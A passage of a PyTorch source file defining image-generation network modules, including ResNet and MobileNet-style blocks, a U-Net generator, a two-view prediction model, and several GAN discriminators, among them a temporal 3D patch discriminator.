        for i in range(n_downsampling):
            mult = 2**i
            model += [nn.Conv2d(ngf * mult, ngf * mult * 2, kernel_size=3,
                                stride=2, padding=1, bias=use_bias),
                      norm_layer(ngf * mult * 2),
                      nn.ReLU(True)]

        mult = 2**n_downsampling
        for i in range(n_blocks):# Define a resnet block
            model += [MobileResnetBlock(ngf * mult, padding_type=padding_type, norm_layer=norm_layer, use_dropout=use_dropout, use_bias=use_bias)]

        for i in range(n_downsampling):
            mult = 2**(n_downsampling - i)
            model += [nn.ConvTranspose2d(ngf * mult, int(ngf * mult / 2),
                                         kernel_size=3, stride=2,
                                         padding=1, output_padding=1,
                                         bias=use_bias),
                      norm_layer(int(ngf * mult / 2)),
                      nn.ReLU(True)]
        model += [nn.ReflectionPad2d(3)]
        model += [nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0)]
        model += [nn.Tanh()]

        self.model = nn.Sequential(*model)

    def forward(self, input):
        # if self.gpu_ids and isinstance(input.data, torch.cuda.FloatTensor):
        #     return nn.parallel.data_parallel(self.model, input, self.gpu_ids)
        # else:
        #     return self.model(input)
        return self.model(input)

class ResnetBlock(nn.Module):
    def __init__(self, dim, padding_type, norm_layer, use_dropout, use_bias):
        super(ResnetBlock, self).__init__()
        self.conv_block = self.build_conv_block(dim, padding_type, norm_layer, use_dropout, use_bias)

    def build_conv_block(self, dim, padding_type, norm_layer, use_dropout, use_bias):
        conv_block = []
        p = 0
        if padding_type == 'reflect':
            conv_block += [nn.ReflectionPad2d(1)]
        elif padding_type == 'replicate':
            conv_block += [nn.ReplicationPad2d(1)]
        elif padding_type == 'zero':
            p = 1
        else:
            raise NotImplementedError('padding [%s] is not implemented' % padding_type)

        conv_block += [nn.Conv2d(dim, dim, kernel_size=3, padding=p, bias=use_bias),
                       norm_layer(dim),
                       nn.ReLU(True)]
        if use_dropout:
            conv_block += [nn.Dropout(0.5)]

        p = 0
        if padding_type == 'reflect':
            conv_block += [nn.ReflectionPad2d(1)]
        elif padding_type == 'replicate':
            conv_block += [nn.ReplicationPad2d(1)]
        elif padding_type == 'zero':
            p = 1
        else:
            raise NotImplementedError('padding [%s] is not implemented' % padding_type)
        conv_block += [nn.Conv2d(dim, dim, kernel_size=3, padding=p, bias=use_bias),
                       norm_layer(dim)]

        return nn.Sequential(*conv_block)

    def forward(self, x):
        out = x + self.conv_block(x)
        return out

class MobileResnetBlock(nn.Module):
    def __init__(self, dim, padding_type, norm_layer, use_dropout, use_bias):
        super(MobileResnetBlock, self).__init__()
        self.conv_block = self.build_conv_block(dim, padding_type, norm_layer, use_dropout, use_bias)

    def build_conv_block(self, dim, padding_type, norm_layer, use_dropout, use_bias):
        conv_block = []
        p = 0
        if padding_type == 'reflect':
            conv_block += [nn.ReflectionPad2d(1)]
        elif padding_type == 'replicate':
            conv_block += [nn.ReplicationPad2d(1)]
        elif padding_type == 'zero':
            p = 1
        else:
            raise NotImplementedError('padding [%s] is not implemented' % padding_type)

        conv_block += [
            SeparableConv2d(in_channels=dim, out_channels=dim,
                            kernel_size=3, padding=p, stride=1),
            norm_layer(dim), nn.ReLU(True)
        ]
        if use_dropout:
            conv_block += [nn.Dropout(0.5)]

        p = 0
        if padding_type == 'reflect':
            conv_block += [nn.ReflectionPad2d(1)]
        elif padding_type == 'replicate':
            conv_block += [nn.ReplicationPad2d(1)]
        elif padding_type == 'zero':
            p = 1
        else:
            raise NotImplementedError('padding [%s] is not implemented' % padding_type)

        conv_block += [
            SeparableConv2d(in_channels=dim, out_channels=dim,
                            kernel_size=3, padding=p, stride=1),
            norm_layer(dim)
        ]

        return nn.Sequential(*conv_block)

    def forward(self, x):
        out = x + self.conv_block(x)
        return out

class SeparableConv2d(nn.Module):
    def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0, norm_layer=nn.InstanceNorm2d,
                 use_bias=True, scale_factor=1):
        super(SeparableConv2d, self).__init__()
        self.conv = nn.Sequential(
            nn.Conv2d(in_channels=in_channels, out_channels=in_channels * scale_factor, kernel_size=kernel_size,
                      stride=stride, padding=padding, groups=in_channels, bias=use_bias),
            norm_layer(in_channels * scale_factor),
            nn.Conv2d(in_channels=in_channels * scale_factor, out_channels=out_channels,
                      kernel_size=1, stride=1, bias=use_bias),
        )

    def forward(self, x):
        return self.conv(x)

# ----------------------------------------------------------------------------------------------------
# Prediction Model (2Views) --
# PredictionNViews(input_nc, output_nc, 6, ngf, norm_layer=norm_layer, use_dropout=use_dropout)
# ---------------------------------------------------------------------------------------------------

class PredictionNViews(nn.Module):
    def __init__(self, input_nc, output_nc,num_downs,  ngf=32,  norm_layer=nn.BatchNorm2d, use_dropout=False, n_blocks=6):
        assert(n_blocks >= 0)
        super(PredictionNViews, self).__init__()
        self.input_nc = input_nc
        self.output_nc = output_nc
        self.ngf = ngf
        #self.gpu_ids = gpu_ids

        if type(norm_layer) == functools.partial:
            use_bias = norm_layer.func == nn.InstanceNorm2d
        else:
            use_bias = norm_layer == nn.InstanceNorm2d

        model1 = [nn.ReflectionPad2d(3),
                 nn.Conv2d(input_nc, ngf, kernel_size=7, padding=0,
                           bias=use_bias),
                 norm_layer(ngf),
                 nn.ReLU(True)]

        model1 += [nn.Conv2d(ngf, ngf*2, kernel_size=3,
                              stride=1, padding=1, bias=use_bias),
                      norm_layer(ngf*2),
                      nn.ReLU(True)]
        model1 += [nn.Conv2d(ngf*2, ngf*4, kernel_size=3,
                              stride=1, padding=1, bias=use_bias),
                      norm_layer(ngf*4),
                      nn.ReLU(True)]

        # feed this data to a U-Net generator
        model = UnetGenerator(ngf*4*2, ngf*4, num_downs, ngf*4*4, norm_layer=norm_layer, use_dropout=use_dropout)
        #unet_block = UnetSkipConnectionBlock(ngf*mult*4, , input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True)

        model3 = [nn.Conv2d(ngf * 4, ngf * 2, kernel_size=3,
                               stride=1, padding=1, bias=use_bias),
                      norm_layer(ngf * 2),
                      nn.ReLU(True)]
        model3 += [nn.Conv2d(ngf * 2, ngf, kernel_size=3,
                               stride=1, padding=1, bias=use_bias),
                      norm_layer(ngf),
                      nn.ReLU(True)]
        model3 += [nn.ReflectionPad2d(3)]
        model3 += [nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0)]
        model3 += [nn.Tanh()]

        self.model = model
        self.model1 = nn.Sequential(*model1)
        self.model3 = nn.Sequential(*model3)

    def forward(self, input0, input1):
        f0 = self.model1(input0)
        f1 = self.model1(input1)

        g =  self.model(torch.cat((f0,f1),1))
        return self.model3(g)

# ----------------------------------------

# Defines the Unet generator.
# |num_downs|: number of downsamplings in UNet. For example,
# if |num_downs| == 7, image of size 128x128 will become of size 1x1
# at the bottleneck
class UnetGenerator(nn.Module):
    def __init__(self, input_nc, output_nc, num_downs, ngf=64,
                 norm_layer=nn.BatchNorm2d, use_dropout=False, gpu_ids=[]):
        super(UnetGenerator, self).__init__()
        self.gpu_ids = gpu_ids

        # construct unet structure
        unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True)
        for i in range(num_downs - 5):
            unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout)
        unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer)
        unet_block = UnetSkipConnectionBlock(ngf * 2, ngf * 4, input_nc=None, submodule=unet_block, norm_layer=norm_layer)
        unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_block, norm_layer=norm_layer)
        unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer)

        self.model = unet_block

    def forward(self, input):
        if self.gpu_ids and isinstance(input.data, torch.cuda.FloatTensor):
            return nn.parallel.data_parallel(self.model, input, self.gpu_ids)
        else:
            return self.model(input)

# Defines the submodule with skip connection.
# X -------------------identity---------------------- X
#   |-- downsampling -- |submodule| -- upsampling --|
class UnetSkipConnectionBlock(nn.Module):
    def __init__(self, outer_nc, inner_nc, input_nc=None,
                 submodule=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False):
        super(UnetSkipConnectionBlock, self).__init__()
        self.outermost = outermost
        if type(norm_layer) == functools.partial:
            use_bias = norm_layer.func == nn.InstanceNorm2d
        else:
            use_bias = norm_layer == nn.InstanceNorm2d
        if input_nc is None:
            input_nc = outer_nc
        downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=4,
                             stride=2, padding=1, bias=use_bias)
        downrelu = nn.LeakyReLU(0.2, True)
        downnorm = norm_layer(inner_nc)
        uprelu = nn.ReLU(True)
        upnorm = norm_layer(outer_nc)

        if outermost:
            upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc,
                                        kernel_size=4, stride=2,
                                        padding=1)
            down = [downconv]
            up = [uprelu, upconv, nn.Tanh()]
            model = down + [submodule] + up
        elif innermost:
            upconv = nn.ConvTranspose2d(inner_nc, outer_nc,
                                        kernel_size=4, stride=2,
                                        padding=1, bias=use_bias)
            down = [downrelu, downconv]
            up = [uprelu, upconv, upnorm]
            model = down + up
        else:
            upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc,
                                        kernel_size=4, stride=2,
                                        padding=1, bias=use_bias)
            down = [downrelu, downconv, downnorm]
            up = [uprelu, upconv, upnorm]

            if use_dropout:
                model = down + [submodule] + up + [nn.Dropout(0.5)]
            else:
                model = down + [submodule] + up

        self.model = nn.Sequential(*model)

    def forward(self, x):
        if self.outermost:
            return self.model(x)
        else:
            return torch.cat([x, self.model(x)], 1)

# Defines the PatchGAN discriminator with the specified arguments.
class NLayerDiscriminator(nn.Module):
    def __init__(self, input_nc, ndf=64, n_layers=3, norm_layer=nn.BatchNorm2d, use_sigmoid=False, gpu_ids=[]):
        super(NLayerDiscriminator, self).__init__()
        self.gpu_ids = gpu_ids
        if type(norm_layer) == functools.partial:
            use_bias = norm_layer.func == nn.InstanceNorm2d
        else:
            use_bias = norm_layer == nn.InstanceNorm2d

        kw = 4
        padw = 1
        sequence = [
            nn.Conv2d(input_nc, ndf, kernel_size=kw, stride=2, padding=padw),
            nn.LeakyReLU(0.2, True)
        ]

        nf_mult = 1
        nf_mult_prev = 1
        for n in range(1, n_layers):
            nf_mult_prev = nf_mult
            nf_mult = min(2**n, 8)
            sequence += [
                nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult,
                          kernel_size=kw, stride=2, padding=padw, bias=use_bias),
                norm_layer(ndf * nf_mult),
                nn.LeakyReLU(0.2, True)
            ]

        nf_mult_prev = nf_mult
        nf_mult = min(2**n_layers, 8)
        sequence += [
            nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult,
                      kernel_size=kw, stride=1, padding=padw, bias=use_bias),
            norm_layer(ndf * nf_mult),
            nn.LeakyReLU(0.2, True)
        ]

        sequence += [nn.Conv2d(ndf * nf_mult, 1, kernel_size=kw, stride=1, padding=padw)]

        if use_sigmoid:
            sequence += [nn.Sigmoid()]

        self.model = nn.Sequential(*sequence)

    def forward(self, input):
            # if len(self.gpu_ids) and isinstance(input.data, torch.cuda.FloatTensor):
            #     return nn.parallel.data_parallel(self.model, input, self.gpu_ids)
            # else:
        return self.model(input)

class SN_NLayerDiscriminator(nn.Module):
    def __init__(self, input_nc, ndf=64, n_layers=3, norm_layer=None, use_sigmoid=False, gpu_ids=[]):
        super(SN_NLayerDiscriminator, self).__init__()
        self.gpu_ids = gpu_ids
        if type(norm_layer) == functools.partial:
            use_bias = norm_layer.func == nn.InstanceNorm2d
        else:
            use_bias = norm_layer == nn.InstanceNorm2d

        kw = 4
        padw = 1
        sequence = [
            nn.utils.spectral_norm(nn.Conv2d(input_nc, ndf, kernel_size=kw, stride=2, padding=padw)),
            nn.LeakyReLU(0.2, True)
        ]

        nf_mult = 1
        nf_mult_prev = 1
        for n in range(1, n_layers):
            nf_mult_prev = nf_mult
            nf_mult = min(2**n, 8)
            sequence += [
                nn.utils.spectral_norm(nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult,
                          kernel_size=kw, stride=2, padding=padw, bias=use_bias)),
                nn.LeakyReLU(0.2, True)
            ]

        nf_mult_prev = nf_mult
        nf_mult = min(2**n_layers, 8)
        sequence += [
            nn.utils.spectral_norm(nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult,
                      kernel_size=kw, stride=1, padding=padw, bias=use_bias)),
            nn.LeakyReLU(0.2, True)
        ]
        sequence += [nn.Conv2d(ndf * nf_mult, ndf * nf_mult, kernel_size=kw, stride=1, padding=padw)]
        #sequence += [nn.utils.spectral_norm(nn.Conv2d(ndf * nf_mult, 1, kernel_size=kw, stride=1, padding=padw))]

        if use_sigmoid:
            sequence += [nn.Sigmoid()]

        self.model = nn.Sequential(*sequence)

    def forward(self, input):
        # if len(self.gpu_ids) and isinstance(input.data, torch.cuda.FloatTensor):
        #     return nn.parallel.data_parallel(self.model, input, self.gpu_ids)
        # else:
        #     return self.model(input)
        return self.model(input)

class PixelDiscriminator(nn.Module):
    def __init__(self, input_nc, ndf=64, norm_layer=nn.BatchNorm2d, use_sigmoid=False, gpu_ids=[]):
        super(PixelDiscriminator, self).__init__()
        self.gpu_ids = gpu_ids
        if type(norm_layer) == functools.partial:
            use_bias = norm_layer.func == nn.InstanceNorm2d
        else:
            use_bias = norm_layer == nn.InstanceNorm2d

        self.net = [
            nn.Conv2d(input_nc, ndf, kernel_size=1, stride=1, padding=0),
            nn.LeakyReLU(0.2, True),
            nn.Conv2d(ndf, ndf * 2, kernel_size=1, stride=1, padding=0, bias=use_bias),
            norm_layer(ndf * 2),
            nn.LeakyReLU(0.2, True),
            nn.Conv2d(ndf * 2, 1, kernel_size=1, stride=1, padding=0, bias=use_bias)]

        if use_sigmoid:
            self.net.append(nn.Sigmoid())

        self.net = nn.Sequential(*self.net)

    def forward(self, input):
        if len(self.gpu_ids) and isinstance(input.data, torch.cuda.FloatTensor):
            return nn.parallel.data_parallel(self.net, input, self.gpu_ids)
        else:
            return self.net(input)

class Classifier(nn.Module):
    def __init__(self, input_nc, ndf, norm_layer=nn.BatchNorm2d):
        super(Classifier, self).__init__()

        kw = 3
        sequence = [
            nn.Conv2d(input_nc, ndf, kernel_size=kw, stride=2),
            nn.LeakyReLU(0.2, True)
        ]

        nf_mult = 1
        nf_mult_prev = 1
        for n in range(3):
            nf_mult_prev = nf_mult
            nf_mult = min(2**n, 8)
            sequence += [
                nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult,
                          kernel_size=kw, stride=2),
                norm_layer(ndf * nf_mult, affine=True),
                nn.LeakyReLU(0.2, True)
            ]
        self.before_linear = nn.Sequential(*sequence)

        sequence = [
            nn.Linear(ndf * nf_mult, 1024),
            nn.Linear(1024, 10)
        ]

        self.after_linear = nn.Sequential(*sequence)

    def forward(self, x):
        bs = x.size(0)
        out = self.after_linear(self.before_linear(x).view(bs, -1))
        return out
 #       return nn.functional.log_softmax(out, dim=1)

class TemporalPatchGANDiscriminator(nn.Module):
    def __init__(self, input_nc, ndf=64, n_layers=3, norm_layer=None, use_sigmoid=False, gpu_ids=[]):
        super().__init__()
        if type(norm_layer) == functools.partial:
            use_bias = norm_layer.func == nn.InstanceNorm3d
        else:
            use_bias = norm_layer == nn.InstanceNorm3d

        # default norm : Spectral normalization
        self.gpu_ids = gpu_ids

        kw = (3, 4, 4)
        padw = (1, 1, 1)
        sequence = [
            nn.utils.spectral_norm(nn.Conv3d(input_nc, ndf, kernel_size=kw, stride=(1, 2, 2), padding=padw)),
            nn.LeakyReLU(0.2, True)
        ]

        nf_mult = 1
        nf_mult_prev = 1
        for n in range(1, n_layers):
            nf_mult_prev = nf_mult
            nf_mult = min(2**n, 8)
            sequence += [
                nn.utils.spectral_norm(nn.Conv3d(ndf * nf_mult_prev, ndf * nf_mult,
                          kernel_size=kw, stride=(1, 2, 2), padding=padw, bias=use_bias)),
                # norm_layer(ndf * nf_mult),
                nn.LeakyReLU(0.2, True)
            ]

        nf_mult_prev = nf_mult
        nf_mult = min(2**n_layers, 8)
        sequence += [
            nn.utils.spectral_norm(nn.Conv3d(ndf * nf_mult_prev, ndf * nf_mult,
                      kernel_size=kw, stride=1, padding=padw, bias=use_bias)),
            #norm_layer(ndf * nf_mult),
            nn.LeakyReLU(0.2, True)
        ]

        sequence += [nn.Conv3d(ndf * nf_mult, ndf * nf_mult, kernel_size=kw, stride=1, padding=padw)]

        if use_sigmoid:
            sequence += [nn.Sigmoid()]

        self.model = nn.Sequential(*sequence)

    def forward(self, input):
        # if len(self.gpu_ids) and isinstance(input.data, torch.cuda.FloatTensor):
        #     return nn.parallel.data_parallel(self.model, input, self.gpu_ids)
        # else:
        #     return self.model(input)
        return self.model(input)